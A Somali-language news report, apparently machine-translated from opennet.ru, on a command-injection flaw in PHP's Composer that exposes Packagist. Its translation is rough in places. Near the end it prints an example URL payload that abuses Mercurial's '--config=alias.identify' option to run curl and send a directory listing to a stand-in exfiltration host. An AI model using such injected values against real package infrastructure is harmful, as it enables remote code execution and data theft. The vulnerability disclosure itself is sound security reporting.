Nuglaanta maareeyaha xirmada laxamiistaha ee u oggolaanaya in kaydiyaha PHP ee Xidhmada la waxyeeleeyo

Nuglaanta halista ah (CVE-2021-29472) ayaa lagu aqoonsaday maareeyaha ku tiirsanaanta laxanka kaas oo u oggolaanaya amarrada aan sabab lahayn in lagu fuliyo nidaamka marka la farsameynayo xirmo leh URL si gaar ah loo qaabeeyey oo qeexaya ciwaanka soo dejinta koodka isha. Dhibaatadu waxay ku dhacdaa qaybaha GitDriver, SvnDriver, iyo HgDriver ee la isticmaalo marka la isticmaalayo nidaamka xakamaynta isha Git, Subversion, iyo Mercurial. Nuglaanta waxaa lagu xalliyey soo saarista laxanka 1.10.22 iyo 2.0.13.

Waxaa si gaar ah loo xusay in arrintu ay si gaar ah u saamaysay kaydka xirmada asalka ah ee laxanka, Packagist, kaas oo ka kooban 306 xirmo oo loogu talagalay horumarinta PHP una adeegta in ka badan 1.4 bilyan oo la soo dejiyo bishii. Tijaabadu waxay muujisay in haddii ay jirto aqoonta dhibaatada, weeraryahanadu waxay heli karaan xakamaynta kaabayaasha Xirmooyinka oo ay dhexgalaan shahaadooyinka ilaaliyayaasha ama dib u habeynta xirmooyinka soo dejinta ee server-ka qolo saddexaad, iyaga oo abaabulaya gaarsiinta noocyo kala duwan oo xirmo ah oo leh isbeddello xaasidnimo ah si loogu beddelo albaabka dambe. inta lagu guda jiro habka rakibidda ku tiirsanaanta.

Khatarta isticmaalayaasha dhamaadka waxay ku kooban tahay xaqiiqda ah in nuxurka laxamiistaha.json uu inta badan go'aamiyo isticmaalaha, iyo xidhiidhada isha ayaa la kala qaadaa marka la gelayo kaydka dhinac saddexaad, kuwaas oo badanaa la aamini karo. Dharbaaxada ugu weyni waxay ku dhacday kaydka Packagist.org iyo adeegga Xidhmada Gaarka ah, kaas oo loo yaqaan Composer oo leh wareejinta xogta laga helay isticmaalayaasha. Weeraryahanadu waxay ku fulin karaan koodkooda server-yada Packagist-ka iyagoo dhigaya xirmo si gaar ah loo qorsheeyay.

Kooxda Packagist-ku waxay hagaajiyeen baylahda 12 saacadood gudahooda ee nuglaanta la soo sheegay. Cilmi baadhayaashu waxay si gaar ah u ogeysiiyeen horumariyayaasha Xidhmada Abriil 22, dhibaataduna waa la hagaajiyay isla maalintaas. Cusboonaysiinta dadweynaha ee laxanka oo ka hadlaysa baylahda ayaa la daabacay Abriil 27, iyada oo faahfaahinta la shaaciyay Abriil 28. Hantidhawrka diiwaannada server-yada Packagist ma muujin wax dhaqdhaqaaqyo shaki leh oo la xidhiidha dayacanka.

Dhibka waxaa keenay cilad ku jirta koodhka xaqiijinta URL ee faylka laxamiistaha.json iyo xidhiidhinta soo dejinta isha Khaladku wuxuu ku jiray koodka ilaa Noofambar 2011. Xirmaduhu waxa uu isticmaalaa lakabyo gaar ah si uu u habeeyo koodka rarka iyada oo aan lagu xidhin nidaam kontorool il gaar ah, kaas oo lagu fuliyo isaga oo wacaya "fromShellCommandline" iyo gudbinta doodaha khadka taliska. Tusaale ahaan, git, amarka "git ls-remote -heads $URL" ayaa loo yaqaan, halkaasoo URL lagu farsameeyo iyadoo la adeegsanayo habka "ProcessExecutor:: Escape($url)", taasoo ka baxsanaysa dhismooyinka khatarta ah sida "$(. ..)"ama"`..."".

Nuxurka dhibaatadu waa in ProcessExecutor:: Habka baxsadku aanu ka baxsanayn isku xigxiga "β€”", kaas oo u oggolaaday in wicitaan kasta oo dheeri ah lagu qeexo URL-ka. Baxsashada noocan oo kale ah ayaa ka maqan GitDriver.php, SvnDriver.php iyo darawallada HgDriver.php. Weerarkii GitDriver.php waxaa caqabad ku noqday xaqiiqda ah in amarka "git ls-remote" uusan taageerin qeexida doodaha dheeraadka ah ee wadada ka dib. Weerar lagu qaaday HgDriver.php waxa ay suurta gal ka dhigtay in loo gudbiyo halbeegga β€œ-config” utility-ga β€œhq” kaas oo kuu ogolaanaya inaad abaabusho fulinta amar kasta adiga oo maamulaya goobta β€œalias.identify”. Tusaale ahaan, si aad u soo dejiso oo aad u hirgeliso koodka adoo ku socodsiinaya utility curl, waxaad qeexi kartaa: β€”config=alias.identify=!curl http://exfiltration-host.tld β€”data β€œ$(ls -alh)”

Markaad soo dhejiso xirmo tijaabo ah oo leh URL la mid ah Packagist, cilmi-baarayaashu waxay xaqiijiyeen in dhajinta ka dib, serverkoodu uu helay codsi HTTP ka mid ah server-yada Packagist ee AWS oo ay ku jiraan liiska faylasha ku jira hagaha hadda.

Source: opennet.ru

Add a comment